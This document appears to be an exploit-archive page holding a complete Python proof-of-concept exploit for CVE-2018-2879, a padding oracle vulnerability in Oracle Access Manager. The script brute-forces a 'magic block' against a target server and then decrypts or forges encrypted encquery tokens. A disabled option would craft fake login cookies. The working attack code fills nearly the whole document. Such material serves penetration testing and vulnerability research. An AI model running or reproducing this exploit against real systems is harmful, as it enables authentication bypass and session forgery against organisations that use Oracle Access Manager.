4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / oracle-oam-exploit.py PY
'''
Oracle OAM Padding Oracle CVE-2018-2879 Exploit
Written By Mostafa Soliman "https://github.com/MostafaSoliman"
Based on the explination by sec-consult "https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/"
'''
import argparse
import base64
import sys
import os
import requests
import logging
import socket
import time
import hashlib
from random import randint
from paddingoracle import BadPaddingException, PaddingOracle
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
BLOCK_SIZE = 16

def url_encode(st):
	st = st.replace("+","%2B").replace("/","%2F").replace("=","%3D")
	return st


def url_decode(st):
	st = st.replace("%2B","+").replace("%2F","/").replace("%3D","=")
	return st


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.wait = kwargs.get('wait', 2.0)
        self.magic_block = kwargs.get('magic_block')
        url = kwargs.get('url')
        self.left = url.split("encquery%3D")[0]
        self.right = url.split("%20")[1:]
    def oracle(self, data, **kwargs):
        encquery = base64.b64decode(self.magic_block) + data
        encquery = url_encode(base64.b64encode(encquery))
        url = self.left+"encquery%3D"+encquery+"%20"+"%20".join(self.right)
        while 1:
            try:
                response = requests.get(url,
                        stream=False, timeout=15, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue
            #exit()

        self.history.append(response)

        if  "System error. Please re-try your action. If you continue to get this error, please contact the Administrator" not in response.text:
            logging.debug('No padding exception raised on %s', base64.b64encode(data))
            return
        raise BadPaddingException



def last_2_blocks(url):
	r = requests.get(url,verify=False,allow_redirects=False)
	encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0]
	data = base64.b64decode(url_decode(encquery))
	data_blocks = data_to_blocks(data)
	return data_blocks[-2:]


def fix_url_padding(url):
	if '?' not in url:
		url += "?"
	else:
		url += "&"
	r = requests.get(url,verify=False,allow_redirects=False)
	encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0]
	data = base64.b64decode(url_decode(encquery))
	last_blocks_number = len(data)
	print ' "" --> %d bytes' %(last_blocks_number)
	for i in range(1,16):
		d = "a"*i
		r = requests.get(url+d,verify=False,allow_redirects=False)
		encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0]
		data = base64.b64decode(url_decode(encquery))
		print ' "%s" --> %d bytes' %(d,len(data))
		if len(data) == last_blocks_number + 16:
			print ' "%s" resulted in adding new block ....'%(d)
			return url+d,r.headers['Location']

def data_to_blocks(data):
	data_blocks = []
	for i in range(0,len(data),BLOCK_SIZE):
		data_blocks.append(data[i:i+BLOCK_SIZE])
	return data_blocks

def oracle(url):
	r = requests.get(url,verify=False,allow_redirects=False)
	if "System error. Please re-try your action. If you continue to get this error, please contact the Administrator" in r.text:
		return False
	elif "<title>Login - Oracle Access Management 11g</title>" in r.text:
		return True
	else:
		print "[Error] The oracle can't identify the response, please check the response manually, identify the difference in reponses and update the exploit"
		exit()

def brute(oam_redirect_url,last_blocks):
	print "[#] BruteForcing the Magic Block ..."
	found = False
	left = oam_redirect_url.split("encquery%3D")[0]
	right = oam_redirect_url.split("%20")[1:]
	encquery = oam_redirect_url.split("encquery%3D")[1].split("%20")[0]	
	data = base64.b64decode(url_decode(encquery))
	data_blocks = data_to_blocks(data)
	exec_num = 0
	while not found:
		new_data = ""
		new_data = "".join(data_blocks[:-1])+ "".join([chr(randint(0,255)) for i in range(16)]) + "".join(last_blocks)
		new_data = base64.b64encode(new_data)
		new_data = url_encode(new_data)
		url = left+"encquery%3D"+new_data+"%20"+"%20".join(right)
		results = oracle(url)
		exec_num += 1
		if results :
			found = True
			
	print "[#] Magic Block found after %d tries"%(exec_num)
	print url_decode(new_data)
	return url_decode(new_data)

def check_saved_status(url):
	filename = "status.txt"
	if os.path.exists(filename):
		with open(filename, 'r') as f:
			data = f.read()
		for line in data.split("\n"):
			if url in line:
				return line.split("::")[2]
	return None

def save_status(target_url,padding_fixed_url,magic_block):

	filename = "status.txt"
	with open(filename, 'a') as f:
		data = f.write("%s::%s::%s\n"%(target_url,padding_fixed_url,magic_block))

def perform_attack(target_url):
	print "[#] Getting the Last 2 Blocks ..."
	last_blocks = last_2_blocks(target_url)
	print "[#] Getting the correct length ..."
	padding_fixed_url, oam_redirect_url = fix_url_padding(target_url)
	magic_block = brute(oam_redirect_url,last_blocks)
	save_status(target_url,padding_fixed_url,magic_block)
	return magic_block


def encrypt_data(plain_text,url,magic_block):
	print "[#] Encrypting the data (will take several minutes)..... "
	if verb:
		logging.basicConfig(level=logging.INFO)
		logging.getLogger('urllib3.connectionpool').setLevel(logging.INFO)
	padbuster = PadBuster(url = url, magic_block = magic_block)
	encrypted_data = padbuster.encrypt(plain_text, block_size=BLOCK_SIZE, iv=bytearray(BLOCK_SIZE))
	print('Encrypted data: %s' % (base64.b64encode(encrypted_data)))

def decrypt_data(cipher_text,url,magic_block):
	print "[#] Decrypting the data (will take several minutes)..... "
	if verb:
		logging.basicConfig(level=logging.INFO)
		logging.getLogger('urllib3.connectionpool').setLevel(logging.INFO)
	cipher_text = base64.b64decode(url_decode(cipher_text))
	padbuster = PadBuster(url = url, magic_block = magic_block)
	decrypted_data = padbuster.decrypt(cipher_text, block_size=BLOCK_SIZE, iv=bytearray(BLOCK_SIZE))
	print('Decrypted data: %s' % (decrypted_data))
	print('Decrypted data (HEX): %s' % (str(decrypted_data).encode("hex")))

def print_banner():
	print """
#######    #    #     #    #######
#     #   # #   ##   ##    #       #    # #####  #       ####  # #####
#     #  #   #  # # # #    #        #  #  #    # #      #    # #   #
#     # #     # #  #  #    #####     ##   #    # #      #    # #   #
#     # ####### #     #    #         ##   #####  #      #    # #   #
#     # #     # #     #    #        #  #  #      #      #    # #   #
####### #     # #     #    ####### #    # #      ######  ####  #   #
Oracle Padding Oracle
           			coded by: Mostafa Soliman
           """ 


def main():
	print_banner()
	parser = argparse.ArgumentParser()
	parser.add_argument("URL", help="Target resource URL")
	parser.add_argument("-e", "--encrypt",help="Encrypt plain text data")
	parser.add_argument("-d", "--decrypt",help="Decrypt base64 encode cipher text")
	#parser.add_argument("-c", "--craft_cookie",action="store_true",default=False,help="Craft a login cookie")
	parser.add_argument("-v", "--verb",action="store_true",default=False,help="Show decrypt block info")

	parser.parse_args()


	args = parser.parse_args()
	target_url = args.URL
	global verb
	verb = args.verb
	magic_block = check_saved_status(target_url)
	if not magic_block:
		magic_block = perform_attack(target_url)
	else:
		print "[#] Magic blocks found in saved status"
		print magic_block
	'''
	if args.craft_cookie:
		print '[#] Crafting a fake cookie ....'
		cookie_str = construct_cookie()
		print ' Crafted Cookie:'
		print ' ',cookie_str
		r = requests.get(target_url,verify=False,allow_redirects=False)
		encrypt_data(cookie_str,r.headers['Location'],magic_block)
		exit()
	'''
	if args.encrypt:
		r = requests.get(target_url,verify=False,allow_redirects=False)
		encrypt_data(args.encrypt,r.headers['Location'],magic_block)


	if args.decrypt:
		r = requests.get(target_url,verify=False,allow_redirects=False)
		decrypt_data(args.decrypt,r.headers['Location'],magic_block)





if __name__ == '__main__':
    main()